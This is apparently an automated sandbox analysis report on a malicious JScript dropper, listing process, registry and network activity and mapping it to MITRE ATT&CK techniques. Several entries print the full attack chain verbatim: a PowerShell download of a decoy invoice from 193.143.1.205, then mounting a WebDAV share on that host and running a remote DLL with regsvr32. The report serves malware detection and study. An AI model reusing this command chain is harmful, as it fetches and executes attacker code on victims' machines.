Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\1904.js.csv");ITextStream.WriteLine(" entry:7720 f:npofz");ITextStream.WriteLine(" exec:2 f:npofz");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49733

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4722			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4824			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8152	Thread sleep count: 4722 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8152	Thread sleep count: 4824 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8184	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7180	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8108	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7208	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 6008	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1132	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.1355159582.0000011DE7C88000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: net.exe, 00000007.00000003.1351894438.0000011DE7CEA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1355373590.0000011DE7CEA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2580747764.00000282C2E2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2582399777.00000282C8254000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\182402405310775.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\182402405310775.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\182402405310775.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\182402405310775.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\182402405310775.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
